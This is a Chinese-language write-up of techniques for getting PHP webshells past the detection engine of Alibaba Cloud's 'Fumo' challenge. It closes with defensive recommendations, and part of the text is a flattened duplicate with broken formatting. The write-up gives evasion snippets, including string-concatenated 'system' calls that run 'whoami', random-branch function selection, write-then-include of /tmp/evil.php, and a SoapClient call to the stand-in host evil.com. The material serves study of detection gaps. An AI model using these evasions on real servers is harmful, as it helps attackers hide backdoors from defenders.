第四届阿里云伏魔挑战赛PHP WebShell记录
字数 1170 2025-08-29 22:41:01

PHP WebShell绕过阿里云伏魔挑战赛检测技术详解

1. 伏魔挑战赛检测机制概述

阿里云伏魔挑战赛主要采用以下技术检测PHP WebShell:

  1. 模拟污点引擎:核心检测手段,类似Zend虚拟机,对AST进行解释执行

    • 精确获取变量值和函数调用链
    • 规避动态沙箱对环境依赖及版本碎片化问题
  2. 辅助检测手段

    • AI检测
    • 动态沙箱执行检测(实际测试中感知不强)

2. 动态函数调用绕过技术

2.1 基本检测规则

对于$a($b)形式的动态调用:

  • $b为用户可控输入时,$a在任何时刻都不能包含system等敏感函数
  • $b为敏感命令时,$a的赋值不能为"system"(允许拼接)
  • $b为安全常量时,$a的值无限制

2.2 绕过方法

  1. 利用返回值不确定的内置函数

    $a = file_get_contents('safe_file'); // 返回值被视为污点
    $b = 'whoami';
    $a($b); // 可能绕过检测
    
  2. PHP版本差异利用

    • PHP5与PHP7对`

\[foo[0]`解析不同 - 伏魔可能只支持PHP7解析规则 3. **函数参数混淆**: ```php $a($_GET['x']); // 直接黑名单 // 改用间接方式 $func = 'syste'.'m'; $func('whoami'); ``` ## 3. ini_set函数利用 伏魔对内置函数建模但未完全考虑ini配置影响: 1. **数学函数精度控制**: ```php ini_set('bcmath.scale', 4); // 影响bcadd等函数行为 ``` 2. **垃圾回收控制**: ```php ini_set('zend.enable_gc', 0); // 影响gc_enabled()返回值 ``` 3. **输出缓冲区操纵**: ```php ini_set('error_append_string', 'malicious'); // 在报错信息中插入恶意内容 ``` 4. **动态设置ini项**: ```php ini_set($_GET['x'], "st"); // 伏魔无法确定具体设置项 ``` ## 4. 文件包含绕过技术 ### 4.1 检测限制 - 路径正则检测:`^\/tmp\/[\s\S]+$` - 禁止包含`__FILE__` - 防止包含session文件(检测`sess_`) ### 4.2 绕过方法 1. **自包含绕过**: ```php // 虽然__FILE__被禁,但可直接写文件名 include 'current_script.php'; ``` 2. **文件写入后包含**: ```php file_put_contents('/tmp/evil.php', ''); include '/tmp/evil.php'; ``` 3. **特殊技术利用**: - 使用`RecursiveDirectoryIterator`遍历目录 - 包含上传的临时文件 - 使用`pgsqlCopyToFile`写文件后包含 - 利用`php://temp`写入临时文件 4. **SOAP缓存利用**: ```php // 预测SOAP缓存文件名并包含 $client = new SoapClient(null, array('location' => "http://evil.com/<", 'uri' => "bb")); // 缓存文件会包含恶意代码 ``` ## 5. 控制流混淆技术 ### 5.1 引擎行为特点 - 对非常量条件分支会遍历所有分支 - 仅模拟循环次数为常量的情况 - 对不确定循环次数的循环,赋值结果被视为污点 - 对fatal error有容错性,会继续执行 ### 5.2 绕过方法 1. **制造执行差异**: ```php if(rand(0,1)) { $func = 'system'; } else { $func = 'print'; } $func('whoami'); ``` 2. **利用fatal error**: ```php ini_set('max_execution_time', 1); // 制造超时错误改变执行流 ``` ## 6. 其他高级绕过技术 1. **PDO输出缓冲区利用**: ```php $stmt->debugDumpParams(); // 将敏感字符串输出到缓冲区 ``` 2. **多字节编码利用**: ```php declare(encoding='HTML-ENTITIES'); // 或通过.user.ini设置zend.multibyte ``` 3. **PHP作为跳板**: - 构造SSRF攻击 - 利用未列入黑名单的网络函数(非curl类) 4. **输出缓冲区操纵**: ```php ob_start(); // 操作输出缓冲区 $output = ob_get_clean(); ``` ## 7. 防御建议 针对上述绕过技术,防御方应考虑: 1. 增强PHP版本差异的检测能力 2. 完善ini_set影响的建模 3. 加强对输出缓冲区操作的监控 4. 提高文件包含检测的严格度 5. 完善控制流分析的准确性 6. 增加对多字节编码的检测 ## 8. 总结 阿里云伏魔挑战赛的模拟污点引擎虽然强大,但仍存在多种绕过可能。攻击者可利用PHP语言特性、版本差异、配置影响和引擎检测盲点构造有效的WebShell。防御方需要不断更新检测规则,全面考虑各种边缘情况,才能有效应对日益复杂的WebShell攻击。\]

PHP WebShell绕过阿里云伏魔挑战赛检测技术详解 1. 伏魔挑战赛检测机制概述 阿里云伏魔挑战赛主要采用以下技术检测PHP WebShell: 模拟污点引擎 :核心检测手段,类似Zend虚拟机,对AST进行解释执行 精确获取变量值和函数调用链 规避动态沙箱对环境依赖及版本碎片化问题 辅助检测手段 : AI检测 动态沙箱执行检测(实际测试中感知不强) 2. 动态函数调用绕过技术 2.1 基本检测规则 对于 $a($b) 形式的动态调用: 当 $b 为用户可控输入时, $a 在任何时刻都不能包含 system 等敏感函数 当 $b 为敏感命令时, $a 的赋值不能为"system"(允许拼接) 当 $b 为安全常量时, $a 的值无限制 2.2 绕过方法 利用返回值不确定的内置函数 : PHP版本差异利用 : PHP5与PHP7对 $$foo[0] 解析不同 伏魔可能只支持PHP7解析规则 函数参数混淆 : 3. ini_ set函数利用 伏魔对内置函数建模但未完全考虑ini配置影响: 数学函数精度控制 : 垃圾回收控制 : 输出缓冲区操纵 : 动态设置ini项 : 4. 文件包含绕过技术 4.1 检测限制 路径正则检测: ^\/tmp\/[\s\S]+$ 禁止包含 __FILE__ 防止包含session文件(检测 sess_ ) 4.2 绕过方法 自包含绕过 : 文件写入后包含 : 特殊技术利用 : 使用 RecursiveDirectoryIterator 遍历目录 包含上传的临时文件 使用 pgsqlCopyToFile 写文件后包含 利用 php://temp 写入临时文件 SOAP缓存利用 : 5. 控制流混淆技术 5.1 引擎行为特点 对非常量条件分支会遍历所有分支 仅模拟循环次数为常量的情况 对不确定循环次数的循环,赋值结果被视为污点 对fatal error有容错性,会继续执行 5.2 绕过方法 制造执行差异 : 利用fatal error : 6. 其他高级绕过技术 PDO输出缓冲区利用 : 多字节编码利用 : PHP作为跳板 : 构造SSRF攻击 利用未列入黑名单的网络函数(非curl类) 输出缓冲区操纵 : 7. 防御建议 针对上述绕过技术,防御方应考虑: 增强PHP版本差异的检测能力 完善ini_ set影响的建模 加强对输出缓冲区操作的监控 提高文件包含检测的严格度 完善控制流分析的准确性 增加对多字节编码的检测 8. 总结 阿里云伏魔挑战赛的模拟污点引擎虽然强大,但仍存在多种绕过可能。攻击者可利用PHP语言特性、版本差异、配置影响和引擎检测盲点构造有效的WebShell。防御方需要不断更新检测规则,全面考虑各种边缘情况,才能有效应对日益复杂的WebShell攻击。